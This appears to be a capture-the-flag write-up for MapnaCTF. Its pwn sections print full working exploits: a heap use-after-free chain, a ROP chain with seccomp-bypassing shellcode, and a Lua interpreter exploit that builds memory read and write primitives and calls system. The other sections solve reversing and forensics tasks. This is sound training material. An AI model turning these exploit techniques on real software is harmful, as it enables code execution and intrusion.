I participated in MapnaCTF, which is a CTF event sponsored by Mapna group and hosted by ASIS team. I played it as a member of BunkyoWesterns *1 and stood 1st place :)
The pwnable tasks (presumably) written by parrot were interesting yet beginner-friendly 👍👍👍
Buggy Paint (16 solves)
The program is a paint-like application where you can draw some rectangles on a canvas. We can allocate and store the following structure into each pixels in the canvas.
Each rectangle has its position, size, color, and a byte array. If we select a rectangle, we can edit or show its byte array.
The bug lies in delete function. As you can find in the figure below, it doesn't check if the deleted rectangle is selected at the moment. This will result in Use-after-Free accessing a deleted rectangle in edit and show functions.
I simply overlapped a rectangle object with byte array, with which I could overwrite the pointer of the rectangle's data array. In this way we can get AAW primitive.
from ptrlib import * ... ... not important, redacted ... libc = ELF("./libc.so.6") sock = Socket("nc 3.75.185.198 2000") create(0, 0, 0x10, 2, 1, b"A"*0x20) create(1, 0, 0x10, 2, 1, b"B"*0x20) create(9, 9, 0x10, 2, 1, b"C"*0x20) select(0, 0) delete(0, 0) heap_base = u64(show()[:8]) << 12 logger.info("heap = " + hex(heap_base)) select(1, 0) delete(1, 0) target = heap_base + 0x360 edit(p64(target ^ (heap_base >> 12))) create(2, 0, 0x10, 2, 1, p64(0x431)*4) create(1, 0, 0x10, 2, 1, b"D"*0x20) payload = p64(0x21)*((0x20 * 0x1e) // 8) create(0, 0, 0x20, 0x1e, 1, payload) select(1, 0) delete(1, 0) libc.base = u64(show()[:8]) - libc.main_arena() - 0x60 payload = b"X"*0x20 payload += p64(9) + p64(9) + p64(heap_base) + p64(0x10) + p64(2) payload += p64(heap_base + 0x3c0) payload += p64(0) + p64(0x31) payload += b"X"*(0x90 - len(payload)) payload += p64(0) payload += p64(0) payload += p64(heap_base) payload += p64(0xe0) payload += p64(1) payload += p64(libc.symbol("_IO_2_1_stderr_")) create(2, 2, 0x10, 0x10, 1, payload) ... ... not important, redacted ... select(0, 0) edit(payload) sock.sendlineafter("> ", "6") sock.sh()
First blood 🩸
Protector (12 solves)
This challenge is so straightforward that I can't understand why only 12 teams solved it*2.
The challenge is a simple stack buffer overflow with seccomp enabled.
The flag is located in maze
folder where many other dummy files exist.
Since mprotect
, open
, read
, write
, getdents
are allowed, we can search for the flag in the directory.
from ptrlib import * elf = ELF("./chall") while True: sock = Socket("nc 3.75.185.198 10000") addr_rop1 = 0x4040a0 size = 0x400 payload = b"A"*0x28 payload += flat([ next(elf.gadget("pop rdi; pop rsi; pop rdx; ret;")), 0, addr_rop1, size, elf.plt("read"), next(elf.gadget("pop rdi; pop rsi; pop rdx; ret;")), 0, elf.got("read"), 2, elf.plt("read"), next(elf.gadget("pop rbp; ret;")), addr_rop1 - 8, next(elf.gadget("leave; ret;")) ], map=p64) payload += b"A" * (0x98 - len(payload)) sock.sendafter("Input: ", payload) payload = flat([ next(elf.gadget("pop rdi; pop rsi; pop rdx; ret;")), 0x404000, 0x1000, 7, elf.plt("read"), 0x4040d0 ], map=p64) payload += nasm(f""" xor esi, esi lea rdi, [rel maze] mov eax, {syscall.x64.open} syscall mov r13, rax cld lp: mov edx, 0x40 lea rsi, [rel data] mov rdi, r13 mov eax, {syscall.x64.getdents} syscall test eax, eax jz end mov dword [rel data + 18 - 5], 'maze' mov byte [rel data + 18 - 1], '/' xor esi, esi lea rdi, [rel data + 18 - 5] mov eax, {syscall.x64.open} syscall mov edx, 0x100 lea rsi, [rel data] mov edi, eax mov eax, {syscall.x64.read} syscall test rax, rax jle lp mov edx, eax mov edi, 1 mov eax, {syscall.x64.write} syscall jmp lp end: xor edi, edi mov eax, {syscall.x64.exit_group} syscall maze: db "./maze", 0 data: """, bits=64) payload += b"A" * (size - len(payload)) sock.send(payload) sock.send(b"\xa0\xaa") try: print(sock.recvonce(4, timeout=2)) except TimeoutError: sock.close() continue sock.sh() break
By the way, my exploit partially overwrites GOT entry of read
to create a pointer to mprotect
.
I thought it would require brute force of 4-bit entropy because only 12 bits out of the 2 bytes are fixed.
The funny thing, however, is that it didn't require brute force thanks to the broken ASLR:
So apparently starting with Linux 5.18, ASLR is weakened for 64-bit executables, and absolutely BROKEN (i.e. not present) for 32-bit executables when the library is 2MB or larger.
— Will Dormann (@wdormann) 2024年1月12日
Oops? 🤦♂️https://t.co/N5uxSR8ehB pic.twitter.com/1X4YPoQouG
First blood 🩸
U2S (2 solves)
I think this challenge is very educational and is a good introduction to exploiting Lua.
The following patch introduced a bug.
diff --git a/src/lvm.h b/src/lvm.h index dba1ad2..485b5aa 100644 --- a/src/lvm.h +++ b/src/lvm.h @@ -96,7 +96,7 @@ typedef enum { #define luaV_fastgeti(L,t,k,slot) \ (!ttistable(t) \ ? (slot = NULL, 0) /* not a table; 'slot' is NULL and result is 0 */ \ - : (slot = (l_castS2U(k) - 1u < hvalue(t)->alimit) \ + : (slot = (l_castU2S(k) - 1u < hvalue(t)->alimit) \ ? &hvalue(t)->array[k - 1] : luaH_getint(hvalue(t), k), \ !isempty(slot))) /* result not empty? */
The macro luaV_fastgeti
is used for getting an element of an array.
S2U
means "signed to unsigned", and U2S
means "unsigned to signed."
This apparently causes type mismatch.
In fact, it allows negative out-of-bounds access of array.
Sadly, another patch disables leaking pointers through tostring
function that I often use when exploting Lua.
diff --git a/src/lapi.c b/src/lapi.c index 34e64af..b1501c8 100644 --- a/src/lapi.c +++ b/src/lapi.c @@ -473,18 +473,7 @@ LUA_API lua_State *lua_tothread (lua_State *L, int idx) { ** conversion should not be a problem.) */ LUA_API const void *lua_topointer (lua_State *L, int idx) { - const TValue *o = index2value(L, idx); - switch (ttypetag(o)) { - case LUA_VLCF: return cast_voidp(cast_sizet(fvalue(o))); - case LUA_VUSERDATA: case LUA_VLIGHTUSERDATA: - return touserdata(o); - default: { - if (iscollectable(o)) - return gcvalue(o); - else - return NULL; - } - } + return NULL; }
So, the first thing we need to do is leaking some addresses.
In order to make the exploit stable, I always spray data to consume freed chunks:
local allocator = string.rep("A", 0x1000) collectgarbage() local consume = {} local consume_i = 0 for size = 0x800, 0x10, -0x10 do for i = 1, 8 do consume_i = consume_i + 1 consume[consume_i] = string.sub(allocator, -size) end end for i = 1, 0x20 do consume_i = consume_i + 1 consume[consume_i] = { 0xdead } end for i = 1, 0x80 do consume_i = consume_i + 1 consume[consume_i] = string.sub(allocator, -0x40) .. "xx" end consume[0] = string.sub(allocator, -0x20) .. "xx" local gorilla = {};
In this way, continuous region will be carved out from heap when allocating objects. For example, assume that we allocate a string and an array like this:
local leak = string.rep("C", 0x30) local evil = {3.14, 3.14, 3.14, 3.14}
Then, the memory layout looks like this:
Thanks to the heap spray, offset between the string data and the array data is fixed. So, we can create addrof/fakeobj primitive easily.
A Lua value is a pair of pointer and type.
#define TValuefields Value value_; lu_byte tt_ typedef struct TValue { TValuefields; } TValue;
The value of a built-in function is function pointer. So, if we set a built-in function out-of-bounds in the array, we can leak the pointer from string. (Addrof primitive)
local leak = string.rep("C", 0x30) local evil = {3.14, 3.14, 3.14, 3.14} evil[-7] = print local proc_base = u64(string.sub(leak, 9, 16)) - 0x376d4 print(proc_base)
Similarly, we can get an element out-of-bounds to refer to a fake object. (Fakeobj primitive)
local fake = p64(0) .. p64(proc_base + 0x6670) .. p64(0x16) local evil = {1.11, 1.11, 1.11, 1.11} (evil[-5])()
I could have just called os.execute
because the source code is built as debug mode.
However, I thought the feature was optimized out and decided to call system
directly. (and yeah it's more practical in real-world examples!)
So, if you're reading this article to get the flag, you can simply call os.execute
and skip the rest of this writeup.
If you're interested in how to make AAR/AAW primitives in Lua, you can continue reading it :)
...
The first argument passed to the (fake) built-in function is lua_State
:
If we copy our command string into this variable and call system, we will get the flag.
Lua interpreter has only one state and it's stored in a global variable named globalL
:
Since we have the program base address, we can leak it by making AAR primitive.
Making AAR primitive is a bit tricky because each Lua value must have a valid type. Meanwhike, making AAW primitive is simple because we don't need to care about the type.
To read a value from memory, we have to first write the type (LUA_NUMBER
) to the address plus 8.
(For more details, you can check this article that I wrote before.)
The following code will leak the address of globalL
:
local fake_func = p64(0) .. p64(proc_base + 0x6670) .. p64(0x16) .. p64(addr_fake_table + 0x20) .. p64(0x45) .. p64(addr_fake_table + 0x50) .. p64(0x45) local satoki = {2.17, 2.17, 2.17, 2.17} satoki[-5][1] = 0x13 evil[-6] = satoki[-6][1] local addr_state = u64(string.sub(leak, 25, 32)) print(addr_state)
Let's write our command string to globalL
.
We need to call /readflag
to get the flag. I wrote /readf*
instead because it requires just a single write.
local fake = p64(0) .. p64(proc_base + 0x6670) .. p64(0x16) .. p64(addr_fake_table2 + 0x20) .. p64(0x45) local sugiyama = {1.11, 1.11, 1.11, 1.11} sugiyama[-5][1] = 7.342735162138363e-308 (sugiyama[-6])()
Full exploit:
function pwn() function p64(v) local s = ""; for i = 0, 7 do s = s .. string.char((v >> (i * 8)) & 0xff) end return s; end function u64(s) local v = 0 for i = 0, 7 do v = v + (string.byte(s, i+1) << (i*8)) end return v; end local allocator = string.rep("A", 0x1000) collectgarbage() local consume = {} local consume_i = 0 for size = 0x800, 0x10, -0x10 do for i = 1, 8 do consume_i = consume_i + 1 consume[consume_i] = string.sub(allocator, -size) end end for i = 1, 0x20 do consume_i = consume_i + 1 consume[consume_i] = { 0xdead } end for i = 1, 0x80 do consume_i = consume_i + 1 consume[consume_i] = string.sub(allocator, -0x40) .. "xx" end consume[0] = string.sub(allocator, -0x20) .. "xx" local gorilla = {}; local leak = string.rep("C", 0x30) local evil = {3.14, 3.14, 3.14, 3.14} evil[-7] = print local proc_base = u64(string.sub(leak, 9, 16)) - 0x376d4 print(proc_base) local fake_table = p64(0) .. p64(0) .. p64(0x00000004003f1005) .. p64(proc_base + 0x50050) .. p64(proc_base + 0x42510) .. p64(0) .. p64(0) .. p64(0) .. p64(0x00000004003f1005) .. p64(proc_base + 0x50058) .. p64(proc_base + 0x42510) .. p64(0) .. p64(0) evil[-6] = fake_table local addr_fake_table = u64(string.sub(leak, 25, 32)) print(addr_fake_table) local fake_func = p64(0) .. p64(proc_base + 0x6670) .. p64(0x16) .. p64(addr_fake_table + 0x20) .. p64(0x45) .. p64(addr_fake_table + 0x50) .. p64(0x45) local satoki = {2.17, 2.17, 2.17, 2.17} satoki[-5][1] = 0x13 print(satoki[-6][1]) evil[-6] = satoki[-6][1] local addr_state = u64(string.sub(leak, 25, 32)) print(addr_state) local fake_table2 = p64(0) .. p64(0) .. p64(0x00000004003f1005) .. p64(addr_state) .. p64(proc_base + 0x42510) .. p64(0) .. p64(0) evil[-6] = fake_table2 local addr_fake_table2 = u64(string.sub(leak, 25, 32)) print(addr_fake_table2) local fake = p64(0) .. p64(proc_base + 0x6670) .. p64(0x16) .. p64(addr_fake_table2 + 0x20) .. p64(0x45) local sugiyama = {1.11, 1.11, 1.11, 1.11} sugiyama[-5][1] = 7.342735162138363e-308 (sugiyama[-6])() end pwn()
First blood 🩸
Compile Me! (142 solves)
Compile the given C code and feed the code to stdin to get the flag. Note that you don't need to append newline in the code.
Heaverse (42 solves)
The program looks like a custom VM but just implements meaningless instructions like making a sound or sleeping for a while. I checked the stack and found the flag encoded with morse.
First blood 🩸
Prism (23 sovles)
The program just prints "Your mission is to find the flag! Try harder!!". The function that prints this string is located at 0x31c0. The string is encoded with XOR cipher.
I looked over other functions and found 0x3330 prints the flag.
First blood 🩸
Tetim (7 solves)
The program accepts a binary file and outputs a PNG file. Since the binary is compiled by Zig, I decided to analyze it dynamically without reading the code.
I wrote a code like this:
import os from PIL import Image with open("a.bin", "wb") as f: f.write(b"\x80\x40\x10\x20\x01\x02\x02\x04\x04\x05") os.system("./tetim.elf embed a.bin") img = Image.open("a.bin.enc") print(img.size) print("-"*8) for y in range(img.size[1]): for x in range(img.size[0]): print(img.getpixel((x, y))) print("-"*16)
It turned out that each byte is mapped to color code of each pixel. (The output is sometimes different but mostly the same.)
from PIL import Image img = Image.open("secret.enc") data = b"" for y in range(img.size[1]): for x in range(img.size[0]): c = img.getpixel((x, y)) data += bytes([c[0]]) print(data)
Output:
b'IPEG (/\xcb\x88d\xc9\x91e\xc9\xaaq\xc9\x9b\xc9\xa1/!JAY-oeg,\x1fshort\x1ffor Joint Photohraphic Fxperts Grotp)[2] hs a comlonly ured method of lossy compresrion epr digital imahes, paruicularmy for those images produced by\x1fdigital photography. The degree\x1fof compqessioo!can be adiusted+ allowing a!selectable sradeoff between storage size\x1fand image qualitx. JPEG szpicakly achievet\x1f10:1 compression\x1fwith ljttle oerceptible loss hn imafe qvalitx.\\3] Since its introcuction!jn 1992, JPEG has bfen the moss widely used image conpressinn ssandard in the world,[4][5] and she most widely used digital image form`t, witi several billinn JPEG hm`ges proeuced euery day as!of 2015.[6]\n\nThe Joint Photographic Experts Group created tie standard in 1992.[7] JPEG was largely responshble for she proliferation pe digital images and digital phosos across\x1fuhe Hnternet and later social media.[8][circular referfnce] IPEG compression js used in a numbds of image file formats. JPEG/Exif is the!mort common image format utfc by\x1fdigital c`meras and other photographic inagf capttre devices; alonf xhth JPEG/JFIE, it is the nost cnmmnn foqmat fpr stosing and uranslitsing photographic images on the Wprld Wide Web.[9] These form`t varibtions are often npu cistinguished and arf sjmply\x1fcalled JPEG.\n\nThe MIME meeia type foq JPEG is "imagf/jpeg," except in!older Ioternet Dxplorer versions, whjch providd a MIMD\x1ftype of "image/pjpeg" when uploading JPEG hmahes/[10] JOEG files usuallz gave a filename\x1fextenshom of "ipg" or "jpeg!. JPEG/JFIF supoorts ` laximum image tize!of 65,635\xc3\x9765,535 pixels,[11] hence up to 4!gigapixels for `n aspebt ratjo of 1:1. In 3000+ the IPEG group introcuced a format intended to be a successor, KPEG 2000, but\x1fiu was unabld to rdplace the original\x1fJPFG as thd!dominant image rtbndard.\n\nMAPNA{__ZiG__JPEG^!M49e_3nD0DeR_rEv3R5e!!!}\n+++++++++++*++++++++*++++++++,++++++++++,+\nMAPNA{__ZiG__JPEG_!M49e_3nC0DdR_rEv3R5e!!!}\n++++++++++++++++++++++++++++++++++++++++++\nMAPNA{`_ZiG__KPEG_!M49e_3nC0DeR_rEv3R5e"!!}\n++++*++,+,+,+++++++++*+++++++++++++++++,++\nMAPNA{__ZiG__JOEG_!M39e_2nC1DeR^rEv3R5e"! }\n++*+++++++++,+++++++++++++++++++++++++++++====<=='
I chose words that makes sense and it was correct:
MAPNA{__ZiG__JPEG_!M49e_3nC0DeR_rEv3R5e!!!}
First blood 🩸
Mitrek (2 solves)
It's been a while since I last solved guessy forensics challenges :)
We're given a pcap file which contains only 2 streams of UDP packets communicating over localhost on port 31337 and 31338. Each packet looks like this:
Reading some of them, I noticed the packet structure:
typedef struct { u8 size; u32 always_one; u8 size_minus_2; u8 seq_number; u8 type; u8 contents[0]; // size-7 bytes } packet_t;
I found type
represents what kind of packet is means:
F
: Sends file name to be savedD
: DataY
: AcceptedN
: DeniedS
: Unknown (Handshake?)
I wrote script that dumps the sent files based on the rule above.
from scapy.all import * from ptrlib import * filename = None output = {} fixed = {} gorira = None def analyze(pkt): global filename, output, fixed, gorira if pkt[UDP].sport < pkt[UDP].dport: pair = pkt[UDP].sport, pkt[UDP].dport else: pair = pkt[UDP].dport, pkt[UDP].sport payload = bytes(pkt[UDP][Raw].load) size = payload[0] seq = payload[6] type = payload[7] data = payload[8:1+size] if pkt[UDP].dport == 31337: gorira = pkt[UDP].sport, pkt[UDP].dport, seq, data if size == 18: return if type == ord('F') or type == 0: filename = data output[(pair, filename)] = {} fixed[(pair, filename)] = set() return if type == ord('N') or type == ord('Y'): if type == ord('Y'): if (pair, filename) in fixed: fixed[(pair, filename)].add(seq) if type == ord('D'): if seq not in fixed: output[(pair, filename)][seq] = data sniff(offline="mitrek", store=0, prn=analyze) for key in output: pair, filename = key if len(output[key]) == 0: continue f = open(filename.strip(b"\x00").decode() + str(pair[0]), "wb") for seq in output[key]: if seq in fixed[(pair, filename)]: f.write(output[key][seq])
The script saves 3 files and we can find each piece of flag image.
First blood 🩸 *3